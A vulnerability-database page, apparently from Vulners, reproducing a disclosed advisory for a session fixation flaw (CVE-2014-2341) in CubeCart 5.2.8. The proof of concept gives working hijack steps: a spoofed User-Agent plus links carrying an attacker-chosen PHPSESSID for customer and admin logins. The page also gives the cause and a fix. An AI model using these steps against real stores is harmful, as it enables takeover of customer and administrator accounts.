| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
| CubeCart 5.2.8 - Session Fixation | 13 Apr 201400:00 | – | zdt | |
| CVE-2014-2341 | 21 Apr 201414:00 | – | cve | |
| CVE-2014-2341 | 21 Apr 201414:00 | – | cvelist | |
| EUVD-2014-2378 | 7 Oct 202500:30 | – | euvd | |
| CubeCart 5.2.8 - Session Fixation | 13 Apr 201400:00 | – | exploitpack | |
| CVE-2014-2341 | 22 Apr 201413:06 | – | nvd | |
| Session fixation | 22 Apr 201413:06 | – | prion | |
| CubeCart 5.2.8 - Session Fixation | 1 Jul 201400:00 | – | seebug |
# Exploit Title: CubeCart 5.2.8 Session Fixation
# Exploit Author: James Sibley (absane)
# Blog: http://www.pentester.co
# Download link: http://www.cubecart.com/download/5.2.8/zip
# Discovery date: March 14th, 2014
# Vendor notified: March 15th, 2014
# Vendor fixed: April 10th, 2014
# Vendor ack: http://forums.cubecart.com/topic/48427-cubecart-529-relased/
# CVE assignment: CVE-2014-2341
CubeCart 5.2.8 is vulnerable to a session fixation vulnerability.
The only protection offered is via the User-Agent header field, which can spoofed to match the victim.
=======================
=Proof of Concept.....=
=======================
*Set the User-Agent for both attacker and victim:
Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)
*To attack a customer:
Victim visits: http://[CubeCart Site]/index.php?PHPSESSID=1337
*To attack an administrator:
Victim visits: http://[CubeCart Site]/admin.php?PHPSESSID=1337
When the victim logs in, the attacker can visit the same link (using the same User-Agent) and hijack the victim's session.
=======================
=Cause................=
=======================
The PHPSESSID parameter is not ignored and allows an attacker to specify their own session id.
The code handling login procedures do not generate new sessions upon successful authentication.
=======================
=Mitigation...........=
=======================
Upgrade to CubeCart >= 5.2.9
If upgrading is not an option, here is a hackish workaround for the session fixation vulnerability:
In admin.class.php add this at line 324:
$GLOBALS['session']->restart();
In user.class.php add this at line 227:
$GLOBALS['session']->restart();Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation